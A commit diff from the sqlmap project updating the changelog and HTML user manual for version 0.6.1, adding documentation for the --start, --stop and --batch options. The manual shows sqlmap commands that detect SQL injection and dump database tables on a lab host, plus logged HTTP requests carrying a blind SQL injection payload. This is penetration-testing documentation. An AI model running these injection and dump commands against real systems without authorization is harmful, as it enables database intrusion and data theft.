Skip to content

Commit fcc16b2

Browse files
bdamelebdamele
committed
Updated site, documentation (dev and user) and packaging scripts for 0.6.1
1 parent 6ddb5af commit fcc16b2

File tree

6 files changed

+292
-102
lines changed

6 files changed

+292
-102
lines changed

‎doc/ChangeLog

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ sqlmap (0.6.1-1) stable; urgency=low
22

33
* Major bug fix to blind SQL injection bisection algorithm to handle an
44
exception;
5-
* Added a Metasploit 3 auxiliary module to run sqlmap;
5+
* Added a Metasploit Framework 3 auxiliary module to run sqlmap;
66
* Implemented possibility to test for and inject also on LIKE
77
statements;
88
* Implemented --start and --stop options to set the first and the last
@@ -12,6 +12,9 @@ sqlmap (0.6.1-1) stable; urgency=low
1212
* Minor enhancement to save also the length of query output in the
1313
session file when retrieving the query output length for ETA or for
1414
resume purposes;
15+
* Changed the order sqlmap dump table entries from column by column to
16+
row by row. Now it also dumps entries as they are stored in the tables,
17+
not forcing the entries' order alphabetically anymore;
1518
* Minor bug fix to correctly handle parameters' value with % character.
1619

1720
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 10 Oct 2008 10:00:00 +0100

‎doc/README.html

Lines changed: 139 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -245,8 +245,8 @@ <H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
245245
On the dynamic ones sqlmap automatically tests and detects the ones
246246
affected by SQL injection. Each dynamic parameter is tested for
247247
<EM>numeric</EM>, <EM>single quoted string</EM>, <EM>double quoted
248-
string</EM> and all of these three datatypes with zero, one and two
249-
parenthesis to correctly detect which is the <CODE>SELECT</CODE> statement syntax to
248+
string</EM> and all of these three datatypes with zero to two parenthesis
249+
to correctly detect which is the <CODE>SELECT</CODE> statement syntax to
250250
perform further injections with. It is also possible to specify the
251251
parameter(s) that you want to perform tests and use for injection on.</LI>
252252
<LI>Option to specify the <B>maximum number of concurrent HTTP
@@ -277,6 +277,9 @@ <H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
277277
<LI>Support to read options from a configuration INI file rather than
278278
specify each time all of the options on the command line. Support also to
279279
save command line options on a configuration INI file.</LI>
280+
<LI>Integration with other IT security related open source projects,
281+
<A HREF="http://metasploit.com/framework/">Metasploit</A> and
282+
<A HREF="http://w3af.sourceforge.net/">w3af</A>.</LI>
280283
<LI><B>PHP setting <CODE>magic_quotes_gpc</CODE> bypass</B> by encoding
281284
every query string, between single quotes, with <CODE>CHAR</CODE>, or similar,
282285
database management system function.</LI>
@@ -292,19 +295,19 @@ <H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
292295
<P>
293296
<UL>
294297
<LI>
295-
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1.tar.gz">Source gzip compressed</A> operating system independent.</LI>
298+
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.gz">Source gzip compressed</A> operating system independent.</LI>
296299
<LI>
297-
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1.tar.bz2">Source bzip2 compressed</A> operating system independent.</LI>
300+
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.bz2">Source bzip2 compressed</A> operating system independent.</LI>
298301
<LI>
299-
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1.zip">Source zip compressed</A> operating system independent.</LI>
302+
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.zip">Source zip compressed</A> operating system independent.</LI>
300303
<LI>
301-
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1.1-1_all.deb">DEB binary package</A> architecture independent for Debian and any
304+
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1-1_all.deb">DEB binary package</A> architecture independent for Debian and any
302305
other Debian derivated GNU/Linux distribution.</LI>
303306
<LI>
304-
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
307+
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
305308
other operating system that can install RPM packages.</LI>
306309
<LI>
307-
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
310+
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
308311
interpreter</B> to be installed on the operating system.</LI>
309312
</UL>
310313
</P>
@@ -331,7 +334,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
331334
<PRE>
332335
$ python sqlmap.py -h
333336

334-
sqlmap/0.6.1.1 coded by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com>
337+
sqlmap/0.6.1 coded by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com>
335338
and Daniele Bellucci &lt;daniele.bellucci@gmail.com>
336339

337340
Usage: sqlmap.py [options] {-u &lt;URL> | -g &lt;google dork> | -c &lt;config file>}
@@ -379,13 +382,16 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
379382
--dbs Enumerate DBMS databases
380383
--tables Enumerate DBMS database tables (opt: -D)
381384
--columns Enumerate DBMS database table columns (req: -T, -D)
382-
--dump Dump DBMS database table entries (req: -T, -D opt: -C)
385+
--dump Dump DBMS database table entries (req: -T, -D opt: -C,
386+
--start, --stop)
383387
--dump-all Dump all DBMS databases tables entries
384388
-D DB DBMS database to enumerate
385389
-T TBL DBMS database table to enumerate
386390
-C COL DBMS database table column to enumerate
387391
-U USER DBMS user to enumerate
388392
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
393+
--start=LIMITSTART First table entry to dump
394+
--stop=LIMITSTOP Last table entry to dump
389395
--sql-query=QUERY SQL SELECT query to be executed
390396
--sql-shell Prompt for an interactive SQL shell
391397

@@ -417,6 +423,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
417423
-s SESSIONFILE Save and resume all data retrieved on a session file
418424
-c CONFIGFILE Load options from a configuration INI file
419425
--save Save options on a configuration INI file
426+
--batch Never ask for user input, use the default behaviour
420427
</PRE>
421428
</CODE></BLOCKQUOTE>
422429
</P>
@@ -528,7 +535,7 @@ <H3>Target URL and verbosity</H3>
528535
[hh:mm:28] [TRAFFIC OUT] HTTP request:
529536
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
530537
Host: 192.168.1.121:80
531-
User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
538+
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
532539
Connection: close
533540
[...]
534541
[hh:mm:29] [INFO] testing MySQL
@@ -537,7 +544,7 @@ <H3>Target URL and verbosity</H3>
537544
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
538545
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&amp;cat=2 HTTP/1.1
539546
Host: 192.168.1.121:80
540-
User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
547+
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
541548
Connection: close
542549
[...]
543550
</PRE>
@@ -555,7 +562,7 @@ <H3>Target URL and verbosity</H3>
555562
[hh:mm:32] [TRAFFIC OUT] HTTP request:
556563
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
557564
Host: 192.168.1.121:80
558-
User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
565+
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
559566
Connection: close
560567

561568
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@@ -573,7 +580,7 @@ <H3>Target URL and verbosity</H3>
573580
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
574581
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&amp;cat=2 HTTP/1.1
575582
Host: 192.168.1.121:80
576-
User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
583+
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
577584
Connection: close
578585

579586
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@@ -600,7 +607,7 @@ <H3>Target URL and verbosity</H3>
600607
[hh:mm:23] [TRAFFIC OUT] HTTP request:
601608
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
602609
Host: 192.168.1.121:80
603-
User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
610+
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
604611
Connection: close
605612

606613
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2042,7 +2049,8 @@ <H3>Database table columns</H3>
20422049

20432050
<H3>Dump database tables entries</H3>
20442051

2045-
<P>Options: <CODE>--dump</CODE>, <CODE>-C</CODE>, <CODE>-T</CODE> and <CODE>-D</CODE></P>
2052+
<P>Options: <CODE>--dump</CODE>, <CODE>-C</CODE>, <CODE>-T</CODE>, <CODE>-D</CODE>,
2053+
<CODE>--start</CODE> and <CODE>--stop</CODE></P>
20462054

20472055
<P>It is possible to dump the entries for a specific database table.
20482056
This functionality depends on both <CODE>-T</CODE> to specify the table name
@@ -2058,15 +2066,15 @@ <H3>Dump database tables entries</H3>
20582066
Database: test
20592067
Table: users
20602068
[5 entries]
2061-
+----+--------------------------------------------+-------------------+
2062-
| id | name | surname |
2063-
+----+--------------------------------------------+-------------------+
2064-
| 1 | luther | blissett |
2065-
| 2 | fluffy | bunny |
2066-
| 3 | wu | ming |
2069+
+----+----------------------------------------------+-------------------+
2070+
| id | name | surname |
2071+
+----+----------------------------------------------+-------------------+
2072+
| 1 | luther | blissett |
2073+
| 2 | fluffy | bunny |
2074+
| 3 | wu | ming |
20672075
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2068-
| 5 | NULL | nameisnull |
2069-
+----+--------------------------------------------+-------------------+
2076+
| 5 | NULL | nameisnull |
2077+
+----+----------------------------------------------+-------------------+
20702078
</PRE>
20712079
</CODE></BLOCKQUOTE>
20722080
</P>
@@ -2112,15 +2120,15 @@ <H3>Dump database tables entries</H3>
21122120
Database: public
21132121
Table: users
21142122
[5 entries]
2115-
+----+--------------------------------------------+-------------------+
2116-
| id | name | surname |
2117-
+----+--------------------------------------------+-------------------+
2118-
| 1 | luther | blissett |
2119-
| 2 | fluffy | bunny |
2120-
| 3 | wu | ming |
2123+
+----+----------------------------------------------+-------------------+
2124+
| id | name | surname |
2125+
+----+----------------------------------------------+-------------------+
2126+
| 1 | luther | blissett |
2127+
| 2 | fluffy | bunny |
2128+
| 3 | wu | ming |
21212129
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2122-
| 5 | | nameisnull |
2123-
+----+--------------------------------------------+-------------------+
2130+
| 5 | | nameisnull |
2131+
+----+----------------------------------------------+-------------------+
21242132

21252133
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
21262134
192.168.1.121/dump/public/users.csv'
@@ -2138,6 +2146,40 @@ <H3>Dump database tables entries</H3>
21382146
</CODE></BLOCKQUOTE>
21392147
</P>
21402148

2149+
<P>You can also provide the <CODE>--start</CODE> and/or the <CODE>--stop</CODE> option
2150+
to limit the dump to a range of entries.</P>
2151+
<P>
2152+
<UL>
2153+
<LI><CODE>--start</CODE> specifies the first entry to enumerate</LI>
2154+
<LI><CODE>--stop</CODE> specifies the last entry to enumerate</LI>
2155+
</UL>
2156+
</P>
2157+
2158+
<P>Example on a <B>MySQL 5.0.51</B> target:</P>
2159+
<P>
2160+
<BLOCKQUOTE><CODE>
2161+
<PRE>
2162+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat=2" --dump \
2163+
-T users -D test --start 2 --stop 4
2164+
2165+
Database: test
2166+
Table: users
2167+
[3 entries]
2168+
+----+----------------------------------------------+-------------------+
2169+
| id | name | surname |
2170+
+----+----------------------------------------------+-------------------+
2171+
| 2 | fluffy | bunny |
2172+
| 3 | wu | ming |
2173+
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2174+
+----+----------------------------------------------+-------------------+
2175+
</PRE>
2176+
</CODE></BLOCKQUOTE>
2177+
</P>
2178+
2179+
<P>As you can see, sqlmap is very flexible: you can leave it automatically
2180+
enumerate the whole database table up to a single column of a specific
2181+
table entry.</P>
2182+
21412183

21422184
<H3>Dump all databases tables entries</H3>
21432185

@@ -2153,15 +2195,15 @@ <H3>Dump all databases tables entries</H3>
21532195
Database: test
21542196
Table: users
21552197
[5 entries]
2156-
+----+--------------------------------------------+-------------------+
2157-
| id | name | surname |
2158-
+----+--------------------------------------------+-------------------+
2159-
| 1 | luther | blissett |
2160-
| 2 | fluffy | bunny |
2161-
| 3 | wu | ming |
2198+
+----+----------------------------------------------+-------------------+
2199+
| id | name | surname |
2200+
+----+----------------------------------------------+-------------------+
2201+
| 1 | luther | blissett |
2202+
| 2 | fluffy | bunny |
2203+
| 3 | wu | ming |
21622204
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2163-
| 5 | NULL | nameisnull |
2164-
+----+--------------------------------------------+-------------------+
2205+
| 5 | NULL | nameisnull |
2206+
+----+----------------------------------------------+-------------------+
21652207

21662208
Database: information_schema
21672209
Table: CHARACTER_SETS
@@ -2246,15 +2288,15 @@ <H3>Dump all databases tables entries</H3>
22462288
Database: master
22472289
Table: users
22482290
[5 entries]
2249-
+----+--------------------------------------------+-------------------+
2250-
| id | name | surname |
2251-
+----+--------------------------------------------+-------------------+
2291+
+----+----------------------------------------------+-------------------+
2292+
| id | name | surname |
2293+
+----+----------------------------------------------+-------------------+
22522294
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2253-
| 2 | fluffy | bunny |
2254-
| 1 | luther | blisset |
2255-
| 3 | wu | ming |
2256-
| 5 | NULL | nameisnull |
2257-
+----+--------------------------------------------+-------------------+
2295+
| 2 | fluffy | bunny |
2296+
| 1 | luther | blisset |
2297+
| 3 | wu | ming |
2298+
| 5 | NULL | nameisnull |
2299+
+----+----------------------------------------------+-------------------+
22582300

22592301
[...]
22602302
</PRE>
@@ -3123,7 +3165,8 @@ <H3>Save options on a configuration INI file</H3>
31233165

31243166
<P>Option: <CODE>--save</CODE></P>
31253167

3126-
3168+
<P>It is possible to save the command line options to a configuration INI
3169+
file.</P>
31273170

31283171
<P>Example on a <B>PostgreSQL 8.2.7</B> target:</P>
31293172
<P>
@@ -3231,6 +3274,53 @@ <H3>Save options on a configuration INI file</H3>
32313274
</P>
32323275

32333276

3277+
<H3>Act in non-interactive mode</H3>
3278+
3279+
<P>Option: <CODE>--batch</CODE></P>
3280+
3281+
<P>If you want sqlmap to run as a batch tool, without interacting with you in
3282+
case of a choice has to be done, you can force it by using <CODE>--batch</CODE>
3283+
option than letting sqlmap go for a default behaviour.</P>
3284+
3285+
<P>Example on a <B>MySQL 5.0.51</B> target:</P>
3286+
<P>
3287+
<BLOCKQUOTE><CODE>
3288+
<PRE>
3289+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&amp;name=luther" -v 1 \
3290+
--batch
3291+
3292+
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
3293+
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
3294+
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
3295+
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
3296+
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
3297+
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
3298+
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
3299+
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
3300+
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
3301+
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
3302+
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
3303+
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
3304+
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
3305+
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
3306+
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
3307+
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
3308+
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go ahead:
3309+
[0] place: GET, parameter: id, type: numeric (default)
3310+
[1] place: GET, parameter: name, type: stringsingle
3311+
[q] Quit
3312+
Choice: 0
3313+
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
3314+
[...]
3315+
back-end DBMS: MySQL >= 5.0.0
3316+
</PRE>
3317+
</CODE></BLOCKQUOTE>
3318+
</P>
3319+
3320+
<P>As you can see, sqlmap choosed automatically to injection on the first
3321+
vulnerable parameter which is the default behaviour.</P>
3322+
3323+
32343324
<H2><A NAME="s6">6.</A> <A HREF="#toc6">Disclaimer</A></H2>
32353325

32363326
<P>sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY

‎doc/README.pdf

3.66 KB
Binary file not shown.

0 commit comments

Comments
 (0)